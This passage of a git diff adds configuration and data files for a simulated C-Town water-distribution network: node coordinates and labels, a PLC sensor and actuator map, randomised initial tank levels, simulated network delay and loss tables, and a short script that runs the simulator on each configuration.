148164.43 + J10 -247926.36 148178.68 + J11 -247836.08 148411.49 + J12 -247579.52 148363.98 + J13 -247731.56 148554.03 + J14 -247132.90 148463.76 + J15 -246353.70 149570.80 + J16 -246258.67 149437.76 + J17 -246287.43 149729.45 + J18 -246256.76 149551.53 + J19 -246404.00 149459.51 + J20 -246238.35 149778.53 + J21 -246391.71 149974.65 + J22 -246815.04 149974.85 + J23 -246759.83 150011.66 + J25 -246115.65 150361.35 + J26 -246152.46 150250.92 + J27 -246211.16 150440.28 + J28 -246054.37 149418.76 + J29 -245864.32 149732.34 + J30 -246268.17 150373.76 + J31 -246277.68 150259.73 + J32 -245750.29 149485.27 + J33 -246072.71 149563.80 + J34 -245949.84 149699.08 + J35 -246238.35 150097.55 + J36 -245935.59 149808.36 + J37 -246538.99 150083.93 + J38 -245907.06 149600.61 + J24 -249004.89 149756.10 + J39 -249114.17 149808.36 + J40 -248909.87 149033.91 + J123 -245474.72 148321.22 + J140 -245517.48 148444.75 + J141 -245579.24 148363.98 + J157 -245688.52 148316.47 + J158 -245588.75 148202.44 + J168 -245892.83 148397.24 + J170 -246021.11 148354.48 + J176 -245987.85 148511.27 + J178 -245888.07 148482.76 + J184 -245745.54 148459.01 + J185 -246078.12 148573.04 + J190 -246196.91 148539.78 + J197 -246358.45 148554.03 + J213 -246201.66 148401.99 + J215 -246258.67 148644.30 + J216 -246448.72 148587.29 + J227 -246557.37 148643.56 + J238 -246698.48 148643.56 + J239 -246524.74 148834.35 + J255 -246396.46 148948.38 + J256 -246771.81 148824.85 + J258 -246567.50 148516.02 + J260 -246296.68 148976.89 + J265 -245959.34 148706.07 + J266 -245945.09 148905.62 + J267 -247465.49 148976.89 + J61 -247916.86 150582.81 + J92 -247857.99 150551.53 + J268 -247992.88 149195.45 + J278 -246662.53 150506.79 + J281 -246458.22 150573.31 + J283 -246524.74 150682.59 + J284 -246330.38 150600.61 + J136 -247256.76 151232.52 + J137 -247185.16 147641.79 + J145 -245403.45 148430.50 + J118 -247765.96 150269.33 + J52 -247052.13 148710.82 + J81 -246164.73 149312.27 + J88 -246072.71 149827.61 + J90 -246581.76 150316.74 + J93 -246379.46 150201.84 + J147 -247275.44 150663.58 + J148 -247798.07 151015.18 + J149 -247790.50 151122.09 + J150 -247913.20 151048.47 + J151 -247527.25 151262.24 + J152 -246802.77 151183.44 + J153 -247600.32 151293.87 + J169 -246888.66 151109.82 + J182 -246833.44 150987.12 + J222 -246833.44 151115.95 + J224 -246735.29 151097.55 + J230 -247956.14 148717.18 + J235 -247969.12 148829.60 + J240 -246342.65 150698.77 + J269 -246215.91 147789.08 + J273 -246215.91 147936.37 + J274 -246215.91 147665.55 + J276 -246040.11 147665.55 + J280 -246044.87 147793.83 + J285 -246044.87 147936.37 + J287 -246866.83 149090.92 + J288 -246657.78 149109.93 + J289 -246743.30 149238.21 + J290 -246586.51 149204.95 + J291 -246496.02 149416.56 + J292 -246657.78 148791.59 + J299 -246596.01 148948.38 + J300 -246672.03 149014.90 + J301 -247232.22 149649.69 + J302 -247066.38 149722.84 + J304 -247394.22 149827.36 + J306 -247265.94 149903.38 + J307 -246942.85 149566.05 + J309 -247094.89 149613.56 + J317 -247023.62 149361.74 + J323 -247170.91 149409.25 + R1 -245840.56 147793.83 + T3 -246422.40 148459.51 + T1 -249114.17 149950.90 + T7 -247541.51 149418.76 + T6 -247033.12 149124.18 + T5 -247570.01 150863.14 + T2 -246845.71 148674.23 + T4 -246160.35 150738.12 + +[VERTICES] +;Link X-Coord Y-Coord + +[LABELS] +;X-Coord Y-Coord Label & Anchor Node + -245964.09 147727.31 "Source" R1 + -246572.25 148116.92 "Pumping Station S1" J285 + -249280.46 150121.94 "Tank T1" T1 + -247584.27 149585.05 "T7" T7 + -246904.84 148601.54 "T2" T2 + -251418.52 149865.37 "Tank T3" + -246462.97 148382.99 "T3" T3 + -247755.31 150934.40 "T5" T5 + -246211.16 150948.66 "T4" T4 + -247071.13 149285.72 "T6" T6 + -246596.01 149105.18 "S2" J300 + -247551.01 149832.12 "S4" J304 + -247318.20 149585.05 "S5" J323 + -246486.73 149328.48 "S3" J291 + +[BACKDROP] + DIMENSIONS -249469.32 147238.65 -245209.84 151508.59 + UNITS Meters + FILE + OFFSET 0.00 0.00 + +[END] \ No newline at end of file diff --git a/examples/ctown_topology/dataset/dataset_normal_operating_conditions/ctown_plcs.yaml b/examples/ctown_topology/dataset/dataset_normal_operating_conditions/ctown_plcs.yaml new file mode 100644 index 00000000..d5a54905 --- /dev/null +++ b/examples/ctown_topology/dataset/dataset_normal_operating_conditions/ctown_plcs.yaml @@ -0,0 +1,60 @@ +- name: PLC1 # PLC1, PU1F PU2F J280 J269 , PU1 PU2 + sensors: + - PU1F + - PU2F + - J280 + - J269 + actuators: + - PU1 + - PU2 +- name: PLC2 # PLC2, T1, + sensors: + - T1 +- name: PLC3 # PLC3, T2 V2F J300 J256 J289 J415 J14 J422 PU4F PU5F PU6F PU7F , V2 PU4 PU5 PU6 PU7 + sensors: + - T2 + - V2F + - J300 + - J256 + - J289 + - J415 + - J14 + - J422 + - PU4F + - PU5F + - PU6F + - PU7F + actuators: + - V2 + - PU4 + - PU5 + - PU6 + - PU7 +- name: PLC4 # PLC4, T3, + sensors: + - T3 +- name: PLC5 # PLC5, PU8F PU10F PU11F J302 J306 J307 J317, PU8 PU10 PU11 + sensors: + - PU8F + - PU10F + - PU11F + - J302 + - J306 + - J307 + - J317 + actuators: + - PU8 + - PU10 + - PU11 +- name: PLC6 # PLC6, T4, + sensors: + - T4 +- name: PLC7 # PLC7, T5, + sensors: + - T5 +- name: PLC8 # PLC8, T6, + sensors: + - T6 +- name: PLC9 # PLC9, T7, + sensors: + - T7 \ No newline at end of file diff --git a/examples/ctown_topology/dataset/dataset_normal_operating_conditions/initial_tank_levels.csv b/examples/ctown_topology/dataset/dataset_normal_operating_conditions/initial_tank_levels.csv new file mode 100644 index 00000000..808b582d --- /dev/null +++ b/examples/ctown_topology/dataset/dataset_normal_operating_conditions/initial_tank_levels.csv @@ -0,0 +1,54 @@ +T1,T2,T3,T4,T5,T6,T7 +4.711068743237657,4.205021551938576,1.1917566582453656,2.657777109217569,3.206609923408681,1.5942876761288227,1.1423019112112691 +4.362602091298272,2.7536447741674603,4.687690981629672,3.438854917818306,3.332098117556547,2.571991152463923,3.117093009473875 +4.075924711088762,1.187239449801661,1.1642442481158894,4.185399907168316,3.0614881400853218,4.040072617203673,1.9482353011886375 +5.285916363531417,0.9396682139193114,4.701275847804482,2.6512461417177136,1.8734150658427433,1.9516156381578167,1.0598662181049319 +4.197733876216246,5.113311617698167,5.112628767304991,2.286281869836752,4.415420270762693,2.1163828120432173,4.788378450901167 +6.018140934662146,4.906733494418976,3.664226395032614,4.089717093384575,1.8699467593920402,2.9809829921760542,2.4904597521306684 +5.036848470018531,4.983032163882281,4.669619340839009,4.263891086812235,4.068133349839808,2.4523013186501648,2.0605319774539472 +4.135484207171674,1.0173110557669647,4.143799604005158,4.117435588092174,1.805052575187316,3.4488536449498217,3.725935514600677 +4.592055317336664,3.041836702883717,3.560160415193743,3.012138265479934,1.6970002021409232,4.247824476224053,4.686806016792455 +4.435179459658294,3.8659598095850725,4.271537002172586,4.356051759966895,3.302272557890248,2.5648104134162697,1.138570576574756 +4.429474356366354,5.246801175872173,4.891234974593846,3.398243788520972,1.6710068709019263,3.800368133246617,3.946666322988595 +4.9384255600662765,5.420509363071477,4.883583427993658,3.1675065632723083,3.4758375567258177,4.613564653114002,1.4407165915012168 +4.568632985380109,2.000816105129955,5.196083164710308,3.74605222809404,4.323069071189167,2.6977457935288465,3.2199171215601132 +4.826996319531275,3.406081753931095,3.7486339870368295,3.699367918596672,4.352431036046894,2.233256309642986,1.6748851950754222 +5.992708294820801,2.180659536626049,4.827270330312105,2.8135587962617583,2.5148934430742855,2.806136849572848,4.569656915504946 +5.037717379776633,1.9242104448306407,1.9850555176903257,2.9876997922788404,1.5574470959931759,4.54200999250741,2.146531713100993 +5.939605113284996,0.9879888712186786,3.991834030562613,3.0748315962577775,2.625049157386114,2.0207446749652522,1.3160893551951427 +5.0953190341878605,2.461598872098305,4.590026156374954,4.232241856632237,1.9933366550134062,2.0119396692811238,3.8994918200283823 +4.297651868036561,3.9088170515085636,4.408157317159298,3.3026908983154684,2.64404053423195,2.4859593830620925,4.248936312913848 +5.094855823246112,3.069826291558438,2.507277140345238,3.171083256997533,2.3580312284946037,2.1395998173938313,2.588839088080724 +4.451343034049881,3.171108980328938,4.674291271754015,2.971626435176567,4.487252457760739,2.662594430423926,3.6945459683717563 +5.15957134101928,5.23320920557414,3.2815260544762586,3.299884711814401,1.710287795456098,2.294756859058217,3.472545142346342 +6.153995869399637,2.3876809301307444,3.8122593118107124,2.604757356314204,3.7395346795706907,2.1904324506097694,1.3866072536656064 +5.005662562022835,4.998910079888827,2.645396704508591,3.720968708646098,2.302604098011127,3.8028463138670845,3.8368687226896636 +5.9031260110691,1.9282417778827012,5.023599488850265,4.015962494992953,3.7976596208389086,2.4388227622872485,3.4502271985740265 +5.920299638301135,1.9272683818327563,1.5521674262068044,3.7971447011706525,2.8677539653126463,2.0318951373926217,1.3061130886019374 +6.212624776586899,2.6766760396391116,4.388089327236288,2.9801394417637104,3.5615675717455213,1.8214126398006443,1.8282152798894704 +4.32211712834376,2.7573827637905266,2.579187097553377,4.274599268076802,4.48039033433624,4.711784526906899,2.337072677579407 +5.546273338152577,0.6052837235032739,3.622819818408209,2.439228029207121,4.112001697011751,3.210047069375891,4.1781304478456835 +6.224197134556563,2.718690209556453,2.0174291756960834,2.6975596185807937,1.787476973268182,1.5643778996524702,1.5237613213130192 +6.106230798505733,3.714340742491346,2.238297271782372,3.904057084305168,4.178677750440695,2.0693991728262233,3.514417927975807 +5.6668025976977265,1.347801675085248,4.7379444040137475,3.3766503432598154,3.7864735043709867,1.2333869792381484,4.050108742854352 +4.106709982893891,1.728992869983319,3.270706285062333,3.7929196784861037,1.9084452185228864,2.6140200802416,1.8344544606155457 +5.92850512901378,5.481137773890348,3.9963853575085597,2.8388331825521824,3.205985983146079,1.5137001117080802,1.2470180428620696 +4.321878669981589,4.0096145608352876,4.192885952291691,2.5977537385512735,3.52327343900049,3.1606819047915424,4.737394046223998 +4.712446635446758,1.6473627288864752,3.03241692757567,3.2583595362726916,4.40491752949298,2.1201367146115278,2.634081227927044 +4.359803159523377,3.8845442925830085,3.7538880154705834,3.280053515964239,4.37918693633531,3.730890314876003,3.4835334970933904 +4.010235144684867,1.3141788508264125,3.9192741537828644,2.907906211160719,2.570880171818379,4.673575510816081,2.031191533788946 +6.127225085297003,1.6752744326632718,5.157291026503132,4.265549894707435,1.5083598996376009,4.670505315913896,2.2557927001491476 +4.046551289785234,3.6813204092843343,4.751630656069578,4.24008274376096,2.2101864921253704,3.1423417527400086,3.7460044490393494 +5.489914227708824,1.996882998100878,3.915042256003749,3.4397608799042736,3.4061961922986317,4.705716722593637,1.361757179676073 +4.86167907203754,4.324581737476159,2.5969491096138464,2.321368787626514,4.15701409966911,4.326962534951443,3.386767509929481 +4.434158694487564,1.8770733317701478,4.661102044814896,2.616973171820516,1.6377948108565585,2.1056851750348713,2.1028044902259992 +5.538896413158108,5.441745961261435,1.917634722787424,3.2378896607528462,4.451227307367304,4.219126223807786,1.2273806131928868 +6.149608374078381,2.4643379635801193,3.0182779897768652,2.998448994431722,2.7363980546423723,3.085813164044931,1.1213607009611266 +4.8721269011630195,5.478832651356079,2.2550285555643454,2.0264799752872644,2.614626460908027,2.4303820272172176,4.5879574836182195 +4.832547244077645,0.9479786672217378,4.0185231287191705,3.7894360227008406,4.056324894119719,2.335546741089604,2.699461728589295 +4.559495739116118,5.190345061735982,4.8591793124142315,4.0827780520588615,3.4413222762708644,1.6034580124255728,2.576092897862994 +5.021882227455232,3.199277825093955,3.0264628964812905,4.017921308161371,3.3303610563468524,4.228204234258085,1.2844471932021555 +5.89854554951007,3.945321470967064,2.673732808653596,3.6209757391744737,3.38432049198595,3.502720093920784,3.7587185743529585 +6.120416309773558,2.1520194724487065,5.058305897976899,3.8683286618251165,4.010580987558849,3.8718650383871664,1.8354303617707874 +5.861178076859312,4.889300362405566,1.7412157072071524,4.085763608846495,3.0513419863803217,4.74296887939229,2.9227156506052774 +4.684938800403695,2.1307985211627414,4.499947218342059,3.6305793144922225,2.6190660281598936,4.205031069627111,2.5571553447680047 diff --git a/examples/ctown_topology/dataset/dataset_normal_operating_conditions/master_script.sh b/examples/ctown_topology/dataset/dataset_normal_operating_conditions/master_script.sh new file mode 100644 index 00000000..f82e688c --- /dev/null +++ b/examples/ctown_topology/dataset/dataset_normal_operating_conditions/master_script.sh @@ -0,0 +1,7 @@ +#!/bin/bash + +for file in ./*.yaml +do + echo running for $file + sudo dhalsim $file +done diff --git a/examples/ctown_topology/dataset/dataset_normal_operating_conditions/network_delay_data.csv b/examples/ctown_topology/dataset/dataset_normal_operating_conditions/network_delay_data.csv new file mode 100644 index 00000000..f99ec227 --- /dev/null +++ b/examples/ctown_topology/dataset/dataset_normal_operating_conditions/network_delay_data.csv @@ -0,0 +1,54 @@ +PLC1,PLC2,PLC3,PLC4,PLC5,PLC6,PLC7,PLC8,PLC9,scada +14.239720924195638,4.613175297887054,11.072602558935577,8.128266119429906,7.112143034768853,14.855807282627328,3.7667697726246714,11.921572236141344,9.666322031434708,3.067014259012831 +10.181307139522662,10.185921447397744,11.1876446424215,8.171499504425169,7.466702790614391,14.787710289233978,13.520171846058561,14.828564209849326,14.992454590821989,4.203045515349135 +3.161434529409218,4.788642259892709,10.214602020532343,4.069568482170062,4.632053705627235,11.44873796242502,7.912855110622463,7.839088267530542,4.25260306212977,11.201564457793985 +13.820120392908633,11.63171043134264,8.546375017156828,6.476603078339323,7.890843765352653,11.42021271361422,6.253740608580676,5.626169472899084,9.556367238580426,11.312149668301306 +10.11408143196061,6.120673319707242,9.62947545621633,11.689016623960192,10.790134413551263,9.858162732169978,10.723913713748289,9.31002528677951,9.476544093137651,12.863710630887859 +10.886525468138215,12.016668717924071,5.748288878445387,9.654729778223533,11.778398320517342,5.226045390921119,11.742793125684765,13.999412311027369,3.8598263772543873,12.703546857690691 +5.387820673305821,5.210444581891023,14.058133678670401,14.901304537473372,14.59004088545967,9.485532178576195,4.3072274206658605,5.185830039817002,3.4855526577536846,14.324358935211748 +4.5834277454048955,3.3340885315651088,9.889449188323768,5.974437998610354,10.146381510740524,6.458746720195877,11.997681749268331,7.860271986723698,5.719044054031442,6.29576000279836 +9.37562009792304,6.430784082303672,14.661994345819464,9.841729625039225,13.59013209325732,10.735492959495556,7.414145717417105,12.299424953686021,7.02472579173391,7.518652316716809 +13.365778197649718,6.4070955976219945,8.494673879894199,8.357137830462078,6.483803423876532,13.135382151577955,13.415589912655827,4.300049526547063,13.214100508106458,10.229200177441937 +10.326469855339585,6.808391794729721,7.840163808523879,12.447939700146668,10.68552224395242,3.3447601274356757,9.137828452560893,6.444441652483029,10.59654356308529,10.165357709993568 +8.397821922255083,5.159018093918609,9.476735686191404,4.467703512213797,13.814911690214418,10.641770594488786,14.783183431017582,6.766494818774664,7.782365764432348,5.17518205141465 +12.67146277473633,3.496732161122567,6.520749989536021,11.1049108195524,11.398049618922325,9.322776772990185,6.513931789082687,8.482433833442556,9.282321547715734,8.427875727404508 +10.463560234188321,10.136643412056744,7.9823294305251835,9.788164384856755,9.349662013096442,11.429708768864304,6.060244001327379,11.136058146130956,10.478664043479734,11.427552421949539 +9.41641116924217,6.569193337145304,11.882105233016787,3.2359680831319935,13.715815629111937,12.95617023430312,5.2204824622641866,13.185211428268634,14.578737126889596,6.454578615994871 +9.119562196149515,11.96271544633534,14.651425731329823,7.707522049763162,14.041225234121281,12.916733987526879,5.331812226611655,14.369471982167855,13.019459660847689,7.70363769485027 +6.00298154449211,4.021620118684991,5.39886418614826,9.291886445058672,6.243012945063981,4.861290159907357,5.365758922699916,9.553038859375807,5.372153724230655,9.027101261172492 +5.12460088115235,12.166759561196878,13.084850313941784,4.87550331294688,13.790929032065305,3.1031414155857635,14.917732425837272,10.892496149730274,3.0267417376973866,10.738235446801683 +3.5869327117257694,11.504338351355198,4.020307509483825,4.755225678141954,7.267210100354714,4.522090466508085,8.087578708845735,6.6417792732889716,3.9386429088083483,8.216551427508605 +6.3280140862918515,10.726322028725239,11.333418520307028,10.054297156876917,5.0314496984097,8.872140806690762,12.35863319815379,8.288713882093711,11.270743604957552,3.3060835591040356 +10.709570794188924,5.666195066232991,13.996859276592165,12.372608639998097,4.072614674356096,3.168524685683758,4.58417544783126,6.951534074713998,7.794410288193548,11.102998246807271 +7.509157272991652,10.212922256929204,8.721249037904386,7.054577935303444,5.422952088925485,9.238145880311881,3.2760868022451026,5.170850470502314,12.224229515871771,12.049208414703012 +5.413259162462429,3.4671866202860677,5.7797555342735265,5.787982345414404,8.932107088099642,4.777303516691825,4.674802162033019,4.214833270453692,3.945272199266697,3.2578873878066266 +14.574312437892008,3.350443277861252,5.6957706339267204,11.353509836880576,12.946210768633449,7.8144580235186565,13.312875067727466,12.916953530507136,12.876715793902385,11.252518680236225 +11.951537009296754,6.598969461004422,9.894661305106059,12.56994109141217,8.82659227545933,14.454182167988236,7.07479877716528,14.46588042556659,14.389100448372023,11.455927659819674 +10.682267517179795,13.61033513993519,13.52603098930295,5.542153641676979,3.971171347864486,7.904371110170846,4.448743936631197,4.595750587505119,10.638687872083473,6.072206247088054 +6.7505073134452935,6.239059711338086,5.5444643632064,7.119751414464181,11.489952446096275,5.505524067536898,3.355678250454746,6.701037584060452,14.208512367188726,8.689416228789144 +6.416690128297208,8.954573868804268,5.727267866266994,12.277916624593386,10.778087981799544,3.196775056626293,8.138684827149515,12.164393945851536,6.293752751417538,5.234014051707258 +11.147346680882329,7.983033115757536,10.688384858670664,3.8210786939777623,10.652777486622057,6.36271055376989,9.178109758533408,5.375663407821214,6.900309509248919,13.41702067938951 +4.349829567031305,13.330756883964398,13.148671356425718,5.234704357884422,4.770947594107487,9.713290774868945,4.093009855819572,8.720795105326204,12.673382019044627,11.536834603886636 +7.678845045006259,10.327260427388921,4.085511843106023,6.825580996389283,7.24256591010014,10.43502357869508,13.120171491927616,10.292636509286572,12.205122989694445,13.636530949127176 +7.559418812300488,9.478446461482296,12.725120724373799,11.10800514151639,7.476932350229917,7.030779452147938,13.03672485642872,8.873113659999555,3.901543980025259,14.945711480131882 +6.422158264629542,8.781164129161956,9.886426332282024,8.09593118278393,9.31335301845071,6.3809998836664725,14.533050787761518,6.4268667781981,13.240245790674603,12.819527030519575 +8.320278665108102,9.408475825363212,3.2227090955880056,3.61599012649051,9.029373413981814,11.54830092233572,10.99823672103137,7.552848771506217,11.164364352222648,7.707021665874251 +11.956641865041046,3.322900388452053,6.475341630203246,14.257576603395881,11.489014528072708,13.631567740534699,9.364313402751062,11.060650104350229,4.932827532804493,9.475808331710518 +8.053044367453804,8.058850519973983,4.114089418636021,12.506856762314094,11.936100031786713,13.036085926754605,3.915374900097744,13.570979790573166,13.25313964213885,10.428757539053972 +3.8663428329113203,8.241981016707257,13.738810490078892,11.08693637336117,7.697704257785665,5.120187846907483,12.711765878990638,9.260568632657947,7.375122495300449,14.572818543204423 +5.44231265315536,4.0968995354418665,3.1477617757926803,11.682891500906125,7.839313266560984,7.922159013505944,11.466318298052851,4.393743958740753,7.59425632782178,6.493044562026318 +13.126621319630217,4.702271408167601,5.974709700692936,7.706221621179087,9.684264186480831,14.519448016425407,3.0383805871814165,10.480202958413418,10.466546384802484,13.478216104870521 +12.840518521477513,12.97026852220809,5.131024319781943,7.999935527096308,10.25203967703567,9.458821965126816,7.622786501228452,14.890077720237262,9.515446312034115,5.813476655764365 +4.783686696633049,11.733940931997717,13.835303279177857,11.651621316574264,4.799158156532206,8.716959137448972,6.479102382389243,5.275555704183203,8.626726625395484,6.297556056170018 +12.67822067802325,11.838042432475365,9.85472455009893,7.5797971161093844,11.589444216568893,12.173786977086628,7.684209524043298,7.582421881693829,13.545160567942078,11.18327162384285 +11.581944248977345,4.065120404073606,12.017386975363014,13.740215430982747,5.111628294218566,4.896895976375401,13.318053063744422,5.4005407215098735,11.09765692160566,13.476857930057191 +11.493348996676668,7.285461208550844,11.497950196854852,6.425985597005775,4.794542560224167,3.9518973529557946,11.53169958300071,13.731097307820288,7.205130356254449,13.000607718408041 +8.156623884485523,4.942181151601159,3.324501226532514,8.597276611026192,6.08721542792691,3.5214762148924876,5.690929608049634,11.417451973421452,12.397665514353692,3.3587675577891827 +10.793685638854495,9.446609828661895,10.43572060631556,4.327740938663659,12.760532949955412,4.297296067609334,10.623465044786078,9.905694950385913,13.719628368556968,3.066547942293851 +14.770153252358977,10.043163157224408,9.16779239788583,6.402548189326691,3.3374033312121956,3.302667803150273,10.855915875786183,7.5621694249043525,10.602470099538944,9.359688778098494 +10.74608649273302,8.250212722615368,8.433582006243821,5.5574561737522075,5.57286670474379,9.91189411795776,11.79544707470866,12.144685721270902,13.259382475445967,12.128692528593126 +13.405158675879617,14.547357036987929,13.961259947857368,6.151356926010074,8.81739027015832,4.180383184103707,10.277637584778732,7.14955943410121,12.863899294253624,5.807958618650983 +13.884820504117053,9.814328041180111,3.9614221525788853,8.894017992412842,13.530176397201409,14.37477796995919,3.262900047653052,8.36536754009661,7.58978895223762,5.932473903977564 +7.087020533514136,11.068286118379753,3.3945532655252837,13.848812357328217,5.282456166610167,7.9515000680093575,14.782616896962875,9.17459837342584,3.8531962696506072,9.66100588977571 +3.10261105435858,9.44683896487273,9.918425341276516,10.529445493455674,4.104881885932484,13.31185113671413,8.49133753652784,9.25884898642692,10.173388386548494,3.6637136177809437 +12.845649046703214,11.087546540738675,12.837525851181068,12.055945322519195,12.858680207309078,6.9039383021499585,6.490145199355413,14.554740871836886,3.0865754815719373,7.372244375968339 diff --git a/examples/ctown_topology/dataset/dataset_normal_operating_conditions/network_loss_data.csv b/examples/ctown_topology/dataset/dataset_normal_operating_conditions/network_loss_data.csv new file mode 100644 index 00000000..62052ffc --- /dev/null +++ b/examples/ctown_topology/dataset/dataset_normal_operating_conditions/network_loss_data.csv @@ -0,0 +1,54 @@ +PLC1,PLC2,PLC3,PLC4,PLC5,PLC6,PLC7,PLC8,PLC9,scada +0.041547694602652244,0.04920542991817954,0.028836745993579965,0.020626834676640282,0.026423414668920224,0.017022787460672144,0.024766907252098867,0.04254232761830682,0.01125218265031641,0.04123254608891188 +0.026522994898991355,0.034231365214781456,0.046148939270532395,0.034153790709538744,0.012366994515960883,0.0379140966539132,0.017439221844033678,0.022545608773760238,0.011712093341698928,0.04534748536953713 +0.0224629465531444,0.04895818246635115,0.039005918591971896,0.019242607895472726,0.015219214314986025,0.030803201655652,0.04533108287890175,0.04232250163093557,0.03665874234585421,0.03190613875553416 +0.04286527926693037,0.01915606187404533,0.03823913274997449,0.010406705411377368,0.048413302766337804,0.02482896651326776,0.01549947253803727,0.017642795098792404,0.028674788088007823,0.04508724707455192 +0.03137598462604283,0.0313508151825795,0.0418591851482376,0.048066022328746044,0.015299211827591086,0.0363282168536894,0.012598994098964318,0.017244517460841713,0.029292931377398954,0.04462165556152241 +0.018756263868642847,0.014905336112277682,0.038697562985542396,0.0457587447657949,0.040321509102143,0.019661910623814685,0.04601568511010577,0.013764898176392176,0.020222066448192005,0.03635326664424838 +0.027958385508755,0.028141745512075586,0.04845480627924963,0.012584902549180335,0.03394466534623769,0.042148878261891794,0.034361900281104155,0.039606113068690794,0.039335721156002215,0.035343551566103366 +0.01642827298243662,0.04437619740689288,0.011498669909380173,0.01747778556762164,0.034838207607741374,0.014416620072382515,0.036883086081599285,0.04036682820673591,0.021492139042555234,0.04155597895426362 +0.0316565880215943,0.015524710447396655,0.043852291216274805,0.04910809963078649,0.011186643704483301,0.03425850156947376,0.045970291271823366,0.010147854521749272,0.045179517305422995,0.03277333690613966 +0.024812112827379464,0.0345742088198353,0.04859988410083719,0.03920239721100521,0.01921631761075188,0.032596204053985355,0.023495743017357094,0.0472412045851327,0.014941476378914974,0.022320157051466054 +0.03308397643491783,0.04950419323159199,0.01242583757399943,0.032585540806904637,0.034914783213285644,0.02797226636790727,0.022940071986714577,0.04921224486773912,0.037780525460894145,0.02230197431587858 +0.01882699850905154,0.02213178452145855,0.04278541930559814,0.023020892815977065,0.014874320737559184,0.04374535158575443,0.036577642083093956,0.01568160362700489,0.036993830103735026,0.02848632552033662 +0.029402908294283506,0.04672883451564381,0.04137768003865751,0.013938274325850184,0.03366709565463034,0.017543405549596762,0.04784806239227276,0.028594049855230716,0.028488301013495018,0.02027135880910875 +0.04363039544730319,0.02334193751332978,0.023278744350501777,0.04508036205513727,0.04534325141789992,0.01905264156518885,0.047818228887491473,0.012131212185027938,0.026391352147295627,0.04431634298864505 +0.021967381062496773,0.019605762588765188,0.016616703843737462,0.026299165953833845,0.04319479562959038,0.012488672936113492,0.010171535605410141,0.0328744294998338,0.0458389323358661,0.010719568640571305 +0.01157236728099531,0.024357491573543416,0.019885595152527965,0.02690826619532686,0.04519166120215315,0.01854420125411436,0.02811694162459357,0.01397361488782678,0.0439152539952896,0.0466767156129158 +0.03933829194027017,0.027017885390440782,0.03979640003538258,0.030754572796704814,0.027552239502278676,0.011937917051949926,0.041060172078137336,0.04192724555311321,0.04970414904050771,0.0430775989896992 +0.03223979403865025,0.010811968402027397,0.02616518230898797,0.03546235151950111,0.013517531339081105,0.015241873242928281,0.015377737939257221,0.04693903766755432,0.041884718209136085,0.04566537990228746 +0.022147726891492782,0.014502073377211407,0.03285786448565754,0.0207037993998393,0.01516132320715903,0.023183299754228993,0.017732008153575826,0.03552520308002407,0.042154299645950334,0.011928813740567486 +0.022480717668293213,0.027895937196136915,0.015517767511074154,0.02551823255638214,0.011917350085918548,0.031465436149020816,0.013522174585170545,0.03586286682234625,0.03147239820190934,0.03109099674628378 +0.02348290258215005,0.03428503633770106,0.011190432005213826,0.047738988822190784,0.04290500129574631,0.03989905794930761,0.03843381835008833,0.018155468677549316,0.02956121519675406,0.01653289346937035 +0.03265036209658702,0.02532485720332244,0.014563965255020768,0.012506489682763987,0.03462681201326014,0.023184537088091164,0.01006530562155621,0.03390863198717065,0.016120174383235847,0.02631048117863536 +0.01249025363257438,0.04288297108058273,0.04468329862100423,0.031819113472677706,0.038875505187297474,0.04833840144799208,0.04852814120754053,0.044992851846327786,0.036024529516691654,0.03427144563288538 +0.04329825262627743,0.043831076411049705,0.025489281075997253,0.03522347728468638,0.03552613636206795,0.048412901079496536,0.026441812665909475,0.01949667262384047,0.04431132895792029,0.031307010500062765 +0.040134392250277526,0.011819660986560687,0.036789262879469015,0.04436284142309331,0.014527766382978653,0.030632940133076762,0.046368568913400264,0.02139059195352995,0.032229105540931585,0.03248084389997511 +0.030092940606536084,0.03151246396252338,0.021385936545422132,0.0288465138695203,0.04332020986818409,0.04948943845379252,0.028677747120699426,0.02575982829504938,0.02131881666573194,0.041645071068468556 +0.025757645308878176,0.03187987130489562,0.029180578974327465,0.03663078836756703,0.026471687044824707,0.03350831012134559,0.020431798501483595,0.011162934527091148,0.0161233362474535,0.010573461217751592 +0.034143461569905824,0.02325281276654951,0.024734054414549227,0.022910898878595667,0.024626842483841192,0.019666297357286592,0.011471022128272512,0.04477028725414783,0.013847837536683977,0.04819242115919015 +0.04328382983667711,0.031125593677957544,0.028256640656070427,0.030999492663878234,0.021383576174235683,0.01921169361948996,0.022892108407317188,0.017314871272079656,0.022786997295565877,0.028909634957805727 +0.04845412739585788,0.03345203403716977,0.049879718616140066,0.028980992378208337,0.04390882335716128,0.02926290728256479,0.025654000409840852,0.04020738139879504,0.011561564316006278,0.04124430121614822 +0.04770544958355702,0.025692598868958694,0.025118781015006045,0.022388481372773467,0.03553356186302664,0.039098184779432006,0.027102742279298438,0.0369169050232289,0.011138503032103326,0.04029917955310339 +0.01490421813790996,0.04097744086403719,0.02284840461680226,0.035220779823607086,0.04394931385999288,0.0472436975924398,0.030656607242240036,0.024911240473177727,0.01566326641934941,0.020762046169982527 +0.0348706486881446,0.01992321890159661,0.04587040376017126,0.011051547788615208,0.026867311952023493,0.04286739787994635,0.010110043319708368,0.0416935704378392,0.024163638775064243,0.03762854098955925 +0.044790855677970566,0.035019668387670615,0.010745418525196606,0.04217388258050739,0.02707732945673446,0.04157841145599365,0.0355683214686284,0.03885058967821485,0.028351603757437463,0.019942727510040004 +0.02356240098281264,0.013318508119100457,0.04384564434731673,0.0181469726374416,0.026653305756971196,0.028566071804257007,0.035298659008498295,0.013498088053913114,0.015373776199393063,0.027114211912652612 +0.04615459311830256,0.023878930910486942,0.023678661678231495,0.020940140110879222,0.01376927999075572,0.022303501001685162,0.012696320001956182,0.0443147073644243,0.01929781393220851,0.017816251475342597 +0.022055259088068872,0.03638523044559711,0.016355842301071753,0.012824131283545728,0.04242788744034922,0.04346397018572073,0.02925265610360775,0.012547427632811683,0.03367188169948926,0.025219542992231177 +0.048281392501744055,0.012023515126237734,0.027305256508935373,0.02296592322586588,0.017691940862508436,0.018172952900377456,0.03157849004465757,0.019355799678886725,0.014676890983279907,0.03143546213839676 +0.01191631932579329,0.0393346717621842,0.03710706998287143,0.02201760589712872,0.04565287977925544,0.01518943367571366,0.03328339113123685,0.031045973715654027,0.01571544027089695,0.018512454675321255 +0.020665656441488392,0.01314531098328636,0.019414516436795957,0.04323815958013772,0.037426124583220824,0.041532079889979846,0.03437353883282544,0.045194535775390975,0.03738269874204674,0.01579798526257838 +0.04893630249786379,0.03227744672922456,0.027281192584942854,0.02979351687660045,0.0354412586460687,0.03664192455942011,0.044235762167574556,0.0319440734159215,0.041597079437808694,0.03284928061447463 